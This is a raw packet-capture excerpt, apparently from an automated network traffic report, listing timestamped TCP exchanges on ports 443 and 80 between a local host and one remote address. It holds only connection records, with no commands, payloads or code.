                                                                                                                                          Nov 8, 2024 11:29:12.287012100 CET49740443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:29:12.287012100 CET49740443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:29:12.287055969 CET49740443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:29:12.287064075 CET44349740104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:29:12.287158012 CET49740443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:29:12.288434029 CET44349740104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:29:12.288563967 CET49740443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:29:12.288564920 CET44349740104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:29:12.288583040 CET44349740104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:29:12.288664103 CET49740443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:29:12.288759947 CET49740443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:29:12.290999889 CET44349740104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:29:12.291018963 CET44349740104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:29:12.291204929 CET49740443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:29:12.291215897 CET44349740104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:29:12.291254044 CET49740443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:29:12.291398048 CET49740443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:29:12.291762114 CET44349740104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:29:12.291932106 CET49740443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:29:12.340435028 CET49740443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:29:12.525682926 CET44349740104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:29:12.525908947 CET49740443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:29:12.527510881 CET44349740104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:29:12.527514935 CET44349740104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:29:12.527657986 CET49740443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:29:12.527664900 CET44349740104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:29:12.527888060 CET49740443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:29:12.527892113 CET44349740104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:29:12.528059959 CET49740443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:29:12.530003071 CET44349740104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:29:12.530014038 CET44349740104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:29:12.530211926 CET49740443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:29:12.530216932 CET44349740104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:29:12.530271053 CET49740443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:29:12.530373096 CET49740443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:29:12.532093048 CET44349740104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:29:12.532103062 CET44349740104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:29:12.532279968 CET49740443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:29:12.532279968 CET49740443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:29:12.532418966 CET49740443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:29:12.532423019 CET44349740104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:29:12.532762051 CET49740443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:29:12.532931089 CET44349740104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:29:12.533130884 CET49740443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:29:12.535626888 CET44349740104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:29:12.535638094 CET44349740104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:29:12.535887003 CET49740443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:29:12.535893917 CET44349740104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:29:12.535932064 CET49740443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:29:12.537673950 CET44349740104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:29:12.537695885 CET44349740104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:29:12.537805080 CET49740443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:29:12.537816048 CET44349740104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:29:12.537906885 CET49740443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:29:12.538048983 CET49740443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:29:12.540309906 CET44349740104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:29:12.540328979 CET44349740104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:29:12.540546894 CET49740443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:29:12.540558100 CET44349740104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:29:12.540592909 CET49740443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:29:12.541373968 CET44349740104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:29:12.541485071 CET44349740104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:29:12.541532993 CET49740443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:29:12.541543007 CET44349740104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:29:12.541598082 CET49740443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:29:12.541688919 CET49740443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:29:12.762386084 CET4973380192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:29:12.772871971 CET44349740104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:29:12.772891998 CET44349740104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:29:12.773101091 CET49740443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:29:12.773101091 CET49740443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:29:12.773114920 CET44349740104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:29:12.773196936 CET49740443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:29:12.773272038 CET49740443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:29:12.775804996 CET44349740104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:29:12.775825977 CET44349740104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:29:12.776055098 CET49740443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:29:12.776067019 CET44349740104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:29:12.776153088 CET49740443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:29:12.776252985 CET49740443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:29:12.777723074 CET44349740104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:29:12.777743101 CET44349740104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:29:12.777874947 CET49740443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:29:12.777874947 CET49740443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:29:12.778068066 CET49740443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:29:12.778079033 CET44349740104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:29:12.778382063 CET49740443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:29:12.779846907 CET44349740104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:29:12.779865026 CET44349740104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:29:12.780203104 CET49740443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:29:12.780220985 CET44349740104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:29:12.780435085 CET49740443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:29:12.782426119 CET44349740104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:29:12.782452106 CET44349740104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:29:12.782633066 CET44349740104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:29:12.782648087 CET49740443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:29:12.782660007 CET44349740104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:29:12.782696009 CET49740443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:29:12.782856941 CET49740443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:29:12.783449888 CET44349740104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:29:12.783689022 CET49740443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:29:12.786041975 CET44349740104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:29:12.786062002 CET44349740104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:29:12.786228895 CET49740443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:29:12.786367893 CET49740443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:29:12.786381006 CET44349740104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:29:12.786663055 CET49740443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:29:12.787911892 CET44349740104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:29:12.787930965 CET44349740104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:29:12.788074017 CET49740443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:29:12.788172960 CET49740443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:29:12.788180113 CET44349740104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:29:12.788219929 CET49740443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:29:12.788393021 CET49740443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:29:12.790719986 CET44349740104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:29:12.790739059 CET44349740104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:29:12.790914059 CET49740443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:29:12.790929079 CET44349740104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:29:12.790961981 CET49740443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:29:12.791115046 CET49740443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:29:12.792706013 CET44349740104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:29:12.792725086 CET44349740104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:29:12.792896986 CET49740443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:29:12.792944908 CET49740443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:29:12.792957067 CET44349740104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:29:12.793111086 CET49740443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:29:12.793205023 CET49740443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:29:12.793572903 CET44349740104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:29:12.793941021 CET49740443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:29:12.865470886 CET8049733104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:29:12.865717888 CET4973380192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:29:13.017838001 CET44349740104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:29:13.018034935 CET49740443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:29:13.018084049 CET49740443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:29:13.020009041 CET44349740104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:29:13.020030022 CET44349740104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:29:13.020235062 CET49740443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:29:13.020246029 CET44349740104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:29:13.020283937 CET49740443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:29:13.022411108 CET44349740104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:29:13.022433996 CET44349740104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:29:13.022605896 CET49740443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:29:13.022612095 CET44349740104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:29:13.022790909 CET49740443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:29:13.024302006 CET44349740104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:29:13.024327993 CET44349740104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:29:13.024504900 CET49740443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:29:13.024512053 CET44349740104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:29:13.024708986 CET49740443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:29:13.027002096 CET44349740104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:29:13.027024031 CET44349740104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:29:13.027290106 CET49740443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:29:13.027295113 CET44349740104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:29:13.027342081 CET49740443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:29:13.027342081 CET49740443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:29:13.028801918 CET44349740104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:29:13.028819084 CET44349740104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:29:13.028922081 CET49740443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:29:13.028928995 CET44349740104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:29:13.029067993 CET49740443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:29:13.030803919 CET44349740104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:29:13.030822992 CET44349740104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:29:13.031013012 CET49740443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:29:13.031111956 CET49740443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:29:13.031116962 CET44349740104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:29:13.031330109 CET49740443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:29:13.032042980 CET44349740104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:29:13.032152891 CET44349740104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:29:13.032321930 CET49740443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:29:13.032329082 CET44349740104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:29:13.032371044 CET49740443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:29:13.032469988 CET49740443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:29:13.033544064 CET44349740104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:29:13.033682108 CET44349740104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:29:13.033755064 CET49740443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:29:13.033852100 CET49740443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:29:13.033999920 CET49740443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:29:13.034010887 CET44349740104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:29:13.036142111 CET44349740104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:29:13.036159992 CET44349740104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:29:13.036283016 CET49740443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:29:13.036290884 CET44349740104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:29:13.036380053 CET49740443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:29:13.036530018 CET49740443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:29:13.038197041 CET44349740104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:29:13.038216114 CET44349740104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:29:13.038328886 CET49740443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:29:13.038431883 CET49740443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:29:13.038431883 CET49740443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:29:13.038438082 CET44349740104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:29:13.038525105 CET49740443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:29:13.040839911 CET44349740104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:29:13.040862083 CET44349740104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:29:13.041032076 CET49740443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:29:13.041038036 CET44349740104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:29:13.041145086 CET49740443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:29:13.042752981 CET44349740104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:29:13.042771101 CET44349740104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:29:13.042952061 CET49740443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:29:13.042957067 CET44349740104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:29:13.042996883 CET49740443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:29:13.043196917 CET49740443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:29:13.045459032 CET44349740104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:29:13.045479059 CET44349740104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:29:13.045655012 CET49740443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:29:13.045660019 CET44349740104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:29:13.045917988 CET49740443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:29:13.046320915 CET44349740104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:29:13.046623945 CET49740443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:29:13.264722109 CET44349740104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:29:13.264859915 CET44349740104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:29:13.264983892 CET49740443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:29:13.264990091 CET44349740104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:29:13.265074015 CET49740443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:29:13.265229940 CET49740443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:29:13.266644955 CET44349740104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:29:13.266658068 CET44349740104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:29:13.266799927 CET49740443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:29:13.266851902 CET49740443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:29:13.266856909 CET44349740104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:29:13.267034054 CET49740443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:29:13.267126083 CET49740443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:29:13.269320011 CET44349740104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:29:13.269332886 CET44349740104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:29:13.269941092 CET49740443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:29:13.269941092 CET49740443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:29:13.269953012 CET44349740104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:29:13.270165920 CET49740443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:29:13.271219015 CET44349740104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:29:13.271231890 CET44349740104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:29:13.271439075 CET49740443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:29:13.271449089 CET44349740104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:29:13.271522045 CET49740443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:29:13.271687984 CET49740443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:29:13.273859024 CET44349740104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:29:13.273871899 CET44349740104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:29:13.274013996 CET49740443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:29:13.274070978 CET49740443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:29:13.274117947 CET49740443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:29:13.274125099 CET44349740104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:29:13.274184942 CET49740443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:29:13.274408102 CET49740443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:29:13.275629997 CET44349740104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:29:13.275763988 CET44349740104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:29:13.275871038 CET49740443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:29:13.276068926 CET49740443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:29:13.276074886 CET44349740104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:29:13.276231050 CET49740443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:29:13.276313066 CET49740443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:29:13.278450012 CET44349740104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:29:13.278462887 CET44349740104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:29:13.278713942 CET49740443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:29:13.278721094 CET44349740104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:29:13.278958082 CET49740443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:29:13.280394077 CET44349740104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:29:13.280405998 CET44349740104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:29:13.280705929 CET49740443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:29:13.280718088 CET44349740104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:29:13.280806065 CET49740443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:29:13.280919075 CET49740443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:29:13.282080889 CET44349740104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:29:13.282285929 CET49740443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:29:13.282335043 CET49740443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:29:13.282341003 CET44349740104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:29:13.283881903 CET44349740104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:29:13.284022093 CET44349740104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:29:13.284188032 CET49740443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:29:13.284188032 CET49740443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:29:13.284194946 CET44349740104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:29:13.284406900 CET49740443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:29:13.284588099 CET49740443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:29:13.284934998 CET44349740104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:29:13.285079002 CET49740443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:29:13.285089016 CET44349740104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:29:13.285228014 CET49740443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:29:13.285232067 CET44349740104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:29:13.285459995 CET49740443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:29:13.286005974 CET44349740104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:29:13.286190033 CET49740443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:29:13.286237955 CET49740443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:29:13.288656950 CET44349740104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:29:13.288669109 CET44349740104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:29:13.288876057 CET49740443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:29:13.289060116 CET49740443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:29:13.289060116 CET49740443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:29:13.289067984 CET44349740104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:29:13.290534973 CET44349740104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:29:13.290549040 CET44349740104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:29:13.290644884 CET49740443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:29:13.290652990 CET44349740104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:29:13.290901899 CET49740443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:29:13.290901899 CET49740443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:29:13.293173075 CET44349740104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:29:13.293183088 CET44349740104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:29:13.293620110 CET49740443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:29:13.293625116 CET44349740104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:29:13.295068026 CET44349740104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:29:13.295079947 CET44349740104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:29:13.295286894 CET49740443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:29:13.295295000 CET44349740104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:29:13.295488119 CET49740443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:29:13.297764063 CET44349740104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:29:13.297775030 CET44349740104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:29:13.298001051 CET49740443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:29:13.298007011 CET44349740104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:29:13.298121929 CET49740443192.168.11.20104.21.86.219
